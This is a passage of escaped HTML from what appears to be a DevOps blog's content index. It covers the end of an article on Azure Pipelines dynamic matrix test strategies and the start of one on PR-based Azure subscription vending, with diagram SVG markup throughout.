text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='180' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='180' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='180' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"42-conditional-logic-based-on-matrix-success\"\u003e4.2: Conditional Logic Based on Matrix Success\u003c/h3\u003e\n\u003cp\u003eUse \u003ccode\u003esucceeded()\u003c/code\u003e and \u003ccode\u003efailed()\u003c/code\u003e at the matrix level. A common pattern is running a \u0026ldquo;Cleanup\u0026rdquo; job with \u003ccode\u003econdition: failed()\u003c/code\u003e to tear down test environments only if at least one leg of the matrix encountered an error.\u003c/p\u003e\n\u003ch2 id=\"5-advanced-optimization-the-slice-strategy\"\u003e5. Advanced Optimization: The \u0026ldquo;Slice\u0026rdquo; Strategy\u003c/h2\u003e\n\u003cp\u003eFor hyper-scale testing (200+ legs), the \u0026ldquo;Initialization Lag\u0026rdquo; becomes significant. To reduce the parsing overhead, consider the \u0026ldquo;Slice\u0026rdquo; strategy: use \u003ccode\u003e${{ each }}\u003c/code\u003e to generate three separate jobs, each containing a smaller, 50-leg matrix. This parallelizes the \u003cem\u003eorchestrator\u0026rsquo;s\u003c/em\u003e work as well as the agent\u0026rsquo;s work, resulting in faster start times.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-the-universal-test-suite\"\u003eHands-On Example: The \u0026ldquo;Universal\u0026rdquo; Test Suite\u003c/h2\u003e\n\u003cp\u003eTo implement a self-scaling test engine, create a template that accepts an object representing your test targets. By combining dynamic matrix generation with the \u003ccode\u003econvertToJson()\u003c/code\u003e function, you can transform a simple list of microservices into a global, parallel validation suite that automatically adjusts its scope based on which services were modified in the current PR.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePivot Your Data:\u003c/strong\u003e Use \u003ccode\u003e${{ each }}\u003c/code\u003e to turn parameters into matrix keys for automated scaling.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNaming Rules:\u003c/strong\u003e Matrix keys must start with a letter and contain only underscores/digits. No hyphens or spaces.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThrottle Wisely:\u003c/strong\u003e Use \u003ccode\u003emaxParallel\u003c/code\u003e to protect shared resources and manage agent pool consumption.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDepend on the Whole:\u003c/strong\u003e Use the base \u003ccode\u003eJobName\u003c/code\u003e in \u003ccode\u003edependsOn\u003c/code\u003e to wait for the entire parallel suite.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/phases#multi-configuration\"\u003eMicrosoft Learn: matrix strategy reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/conditions\"\u003eMicrosoft Learn: Run this job (conditions)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eAzure DevOps Blog: Dynamic Matrix in YAML\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-agent\"\u003eGitHub: Patterns for Parallel QA on Azure\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Combine compile-time loops with runtime matrix strategies to build hyper-scale parallel test suites in Azure DevOps. Learn how to generate massive job matrices from a single YAML parameter.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/dynamic-matrix-test-strategies/","title":"Dynamic Matrix Strategies: Generating Runtime Tests with ${{ each }}"},{"content":"\u003cp\u003eThe ticket comes in on a Monday. A team needs a new production subscription — they have a sprint starting Thursday. You know what this means: Management Group placement, VNet config, hub peering, RBAC assignments, a budget, and a diagnostic settings policy to wire it up to the SIEM. Each step is manual. Each step is yours.\u003c/p\u003e\n\u003cp\u003eThursday comes and goes.\u003c/p\u003e\n\u003cp\u003eWhen your platform is growing fast enough that you\u0026rsquo;re fielding three or four of these requests a week, manual subscription provisioning stops being inconvenient and starts being the reason engineering velocity stalls. You aren\u0026rsquo;t a bottleneck because you\u0026rsquo;re slow — you\u0026rsquo;re a bottleneck because the process requires a human for every step.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSubscription Vending\u003c/strong\u003e replaces that process with a pull request. When the vending machine runs, it doesn\u0026rsquo;t just create a billing entry. It places the subscription in the correct Management Group, peers its VNet to the hub, assigns mandatory RBAC roles, and wires up a budget. Your app teams get a fully configured environment. You get to approve a PR instead of running a script.\u003c/p\u003e\n\u003ch2 id=\"1-the-pr-based-vending-workflow\"\u003e1. The PR-Based Vending Workflow\u003c/h2\u003e\n\u003cp\u003eThe goal is to move the conversation from \u0026ldquo;Can you create this for me?\u0026rdquo; to \u0026ldquo;Here is the code I want to run.\u0026rdquo;\u003c/p\u003e\n\u003ch3 id=\"pr-based-vending-workflow\"\u003ePR-Based Vending Workflow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 696 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,128 L 608,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,240 L 608,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,288 L 328,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,192 L 80,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,128 L 336,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,240 L 336,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,288.000000 92.000000,282.399994 92.000000,293.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,64.000000 324.000000,58.400002 324.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,128.000000 604.000000,122.400002 604.000000,133.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,240.000000 604.000000,234.399994 604.000000,245.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='180' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='212' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' 